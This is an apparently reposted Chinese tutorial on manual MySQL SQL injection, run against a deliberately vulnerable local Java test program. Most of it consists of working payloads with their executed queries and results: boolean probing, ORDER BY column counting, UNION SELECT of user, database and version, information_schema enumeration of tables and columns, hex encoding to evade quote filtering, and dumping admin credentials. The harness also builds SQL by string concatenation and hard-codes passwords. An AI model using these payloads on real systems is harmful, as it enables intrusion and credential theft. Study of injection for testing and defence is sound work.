mysql手工注入
以下是mynona本人原创的,奉献给大家,不要小看数据库注入
参考:
http://www.daydaydata.com/help/sql/advance/limit.html
http://www.f4ck.org/article-1579-1.html
必备知识:
- mysql的sql注释符号:#
- 无论mysql还是sqlServer数据库,里面都有information_schema这个数据库,这个数据库里面TABLES表保存了数据库所有表名,COLUMNS表保存了表 的所有字段名,我们暴库就是针对这两个表。
- SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
- LIMIT子句
LIMIT 子句用于规定要返回的记录的数目。
对于拥有成千上万条记录的大型表来说,LIMIT 子句是非常有用的。
语法:SELECT
列名称 FROM
表名称 LIMIT
开始位置, 行数
注意:开始位置可以省略,默认是0位置
测试代码:
数据库连接类
(适合mysql和MSSQL2008)
import java.sql.Connection; public class DateExecute { private String user;
private String password;
private String type;
private String databaseName; public DateExecute(String type, String user, String password, String databaseName){ this.type = type;
this.user = user;
this.password = password;
this.databaseName = databaseName;
} public Connection getConnection()
throws InstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException { Connection con = null;
if(type.equals("mysql")){
String driverName = "com.mysql.jdbc.Driver";
Driver d = (Driver) Class.forName(driverName).newInstance();
con = DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,
user, password);
}
else{
String driverName = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
Driver d = (Driver) Class.forName(driverName).newInstance();
con = DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,
user, password);
}
return con;
} public List<Map<String, Object>> getDateList(String sql)
throws InstantiationException, IllegalAccessException,
ClassNotFoundException, SQLException {
Connection conn = getConnection();
List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
try {
//stmt = conn.prepareStatement(sql);
//ResultSet rs = stmt.executeQuery(sql);
Statement state = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet rs=state.executeQuery(sql);
list = convertList(rs);
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
return list;
} private List convertList(ResultSet rs) throws SQLException { List list = new ArrayList();
ResultSetMetaData md = rs.getMetaData();
int columnCount = md.getColumnCount(); // Map rowData;
while (rs.next()) { // rowData = new HashMap(columnCount); Map<String, Object> rowData = new HashMap<String, Object>(); for (int i = 1; i <= columnCount; i++) { rowData.put(md.getColumnName(i), rs.getObject(i));
}
list.add(rowData);
}
return list;
} public int executeUpdate(String sql) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException {
Connection conn = getConnection();
Statement stmt;
int success = 0;
try {
stmt = conn.createStatement();
success = stmt.executeUpdate(sql);
} catch (SQLException e) {
System.out.println("数据库连接失败");
e.printStackTrace();
}
return success;
}
}
测试类:
(我们就是在这个类里面构造注入的sql语句)
import java.sql.SQLException; public class TestSql { public static void main(String[] args) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException { //”root”为你mysql用户名,“xxxxx”为密码,“school”为数据库名
DateExecute de = new DateExecute("mysql", "root", "XXXXX","school");
//DateExecute de = new DateExecute("mssql", "sa", "abca157992.","school"); //MYSQL String sqlM = "select * from user;";
String sqlInsertM = "insert into user value(24,'mynona','122334')";
String sqlDeleteM = "delete from user where name = 'mynona'"; System.out.println(de.getDateList(sqlbefore+sql)); //MSSQL
/* String sqlbefore = "select * from student where id = 1 ";
String sql = " and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='student'";
String sqlInsert = "insert into student values(6, 222, 111)";
String sqlDelete = "delete from student where id = 4";*/ //de.executeUpdate(sqlInsert); }
}
测试数据库:
测试数据:
假设我们的目标是admin这个表,对于user这个表有个注入点:
Select * from user where name = ‘’;
具体如下:
public class TestSql { public static void main(String[] args) throws InstantiationException,
IllegalAccessException, ClassNotFoundException, SQLException { DateExecute de = new DateExecute("mysql", "root", "157992","school"); String name = "admin";
String password="mynona"; String sql = "select * from user where name = '" + name +"' and password = '" + password + "'"; System.out.println("执行的sql语句:\n" + sql);
System.out.println(de.getDateList(sql)); }
}
上面那条sql语句明显两个sql注入点,分别是name和password
运行上面的程序,可以正常输出:
[{id=1, name=admin, password=mynona}]
现在我们要针对name这个注入点构造注入的sql语句。
判断注入点:
目标:看看是否有注入
我们令
name ="mynona and 1=1 #";
然后指向上面的测试代码:
执行的sql语句:
select * from user where name = 'mynona' and 1=1 #' and password = 'mynona'
输出结果:
[{id=2, name=mynona, password=122334}]
还是之前的数据,没变化
再令:
name ="mynona and 1=2 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 #' and password = 'mynona'
输出结果:
[]
没有数据了,说明有注入
(tip:sql语句中“#”后面的内容会被忽略)
判断字段数(重要):
目标:看看当前注入点select了几个字段
(知道这些字段数后以后我们做union语句时就等与这相等)
分别构造:
name ="mynona' order by 1 #"; 输出正常
name ="mynona' order by 2 #";输出正常
name ="mynona' order by 3 #";输出正常
name ="mynona' order by 4 #";错误输出
由此可以知道当前的表有3个字段
然后我们联合查询:
name ="mynona' and 1=2 union select 1,2,3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,2,3 #' and password = 'mynona'
输出结果:
[{id=1, name=2, password=3}]
查看用户名:
name ="mynona' and 1=2 union select 1,user(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,user(),3 #' and password = 'mynona'
输出结果:
[{id=1, name=root@localhost, password=3}]
现在用户名出来了,是root
查看数据库:
name ="mynona' and 1=2 union select 1,database(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,database(),3 #' and password = 'mynona'
输出结果:
[{id=1, name=school, password=3}]
当前数据库名也出来了:school
查看数据库版本:
name ="mynona' and 1=2 union select 1,version(),3 #";
执行的sql语句:
select * from user where name = 'mynona' and 1=2 union select 1,version(),3 #' and password = 'mynona'
输出结果:
[{id=1, name=5.5.34, password=3}]
可以看到mysql版本是5.5.34
开始爆库:
在mysql里有information_schema这个库,这个库里有tables表,表中有table_schema字段,这个字段储存的时mysql里所有的库名,同时还有table_name这个字段,储存的是MySQL里所有的表名。
遍历数据库school里面的所有表:
其实就是差information_schema数据库里面的TABLES表
name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema='school'# ";
提示:如果对方网站过滤了单引号的话,可以把字符转为16进制:
如school 的十六进制为:0x7363686F6F6C
那么上面那条语句可以变为:
name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ";
执行的sql语句:
select * from user where name = 'mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ' and password = 'mynona'
输出结果:
[{id=2, name=mynona, password=122334}, {id=admin, name=2, password=3}, {id=user, name=2, password=3}]
可以看到school数据库的表为user, admin
看到这里,应该高兴,因为admin说不定就存储这管理员的用户名和密码
下面我们遍历admin表(其实就跟上面遍历user表差不多)
其实就是查询数据库information_schema表里面的COLUMNS表
name ="mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ";
执行的sql语句:
select * from user where name = 'mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ' and password = 'mynona'
输出结果:
[{id=2, name=mynona, password=122334}, {id=1, name=2, password=id}, {id=1, name=2, password=name}, {id=1, name=2, password=phone}, {id=1, name=2, password=sex}, {id=1, name=2, password=tel}, {id=1, name=2, password=password}]
可以看到遍历出了表admin的字段为:id,name,phone,sex,tel,password
遍历name和password字段的数据:
name ="mynona' union select 1,concat(name),concat(password) from admin # ";
执行的sql语句:
select * from user where name = 'mynona' union select 1,concat(name),concat(password) from admin # ' and password = 'mynona'
输出结果:
[{id=2, name=mynona, password=122334}, {id=1, name=admin, password=mynona}]
得出:name=admin,password= mynona
就这样admin表遍历出来了
mysql手工注入的更多相关文章
- MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ▲基于错误的 SQL 注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL 盲注 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- 记一次MySQL手工注入
本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...
- MYSQL手工注入某日本网站
作者:ice 团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...
- mysql手工注入总结
mysql -u 用户名 -p 密码 -h IP地址 show databases; 查看数据库 select version(); php注入的版本号 use database(表名): sho ...
- mysql手工注入步骤
1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
随机推荐
- solr 高亮配置
solrj中配置: 两种高亮开启设置 // solrParams.setHighlight(true); solrParams.setParam("hl", "true& ...
- 自定义uitableviewcell通过加上滑动手势进行删除对应的行。PS:用代理来实现
#import <UIKit/UIKit.h> @class ZSDCustomCell; //协议 @protocol ZSDCustomCellDelegate <NSObjec ...
- winform中DataGridView添加ComboBox的最终解决方案(点击ComboBox默认显示当前行的内容)
第一: 数据绑定ComBoBox控件 先在窗体设计时拖一个ComBoBox控件,然后在里面的ITEMS设好你要下拉项,或者从数据库中的表绑定,这个估计都会. 第二: // 将下拉列表框加入到DataG ...
- SQL查询中的in与join效率比较
大多数情况下,程序员比较喜欢使用in来查询符合某些条件的数据,最近在查询某个角色有哪些用户的方法中,使用了in语句: ) FROM baseuser AND BaseUser.Id IN (SELEC ...
- hibernate中session的获取使用以及其他注意事项
hibernate中session的获取使用以及其他注意事项 前言:工作时,在同时使用Hibernate的getSession().getHibernateTemplate()获取Session后进行 ...
- linux_memcached_memcachedb
三个区别 当你听到memcache与memcached时把它当做是一个东东就好了,尽管它们存在区别,但是这并不影响你对它们的运用及理解. “Memcache”它是一个自由和开放源代码.高性能.分配的内 ...
- 怒刷DP之 HDU 1160
FatMouse's Speed Time Limit:1000MS Memory Limit:32768KB 64bit IO Format:%I64d & %I64u Su ...
- GSS6 4487. Can you answer these queries VI splay
GSS6 Can you answer these queries VI 给出一个数列,有以下四种操作: I x y: 在位置x插入y.D x : 删除位置x上的元素.R x y: 把位置x用y取替 ...
- python学习好书推荐
1. 编程小白的第一本 Python 入门书 http://www.ituring.com.cn/book/1863 点评:知识体系全面,作者也是功底深厚.对全面了解python非常有帮助.入门级推 ...
- 【CSS3】---text-overflow 与 word-wrap
text-overflow用来设置是否使用一个省略标记(...)标示对象内文本的溢出. 语法: 但是text-overflow只是用来说明文字溢出时用什么方式显示,要实现溢出时产生省略号的效果,还须定 ...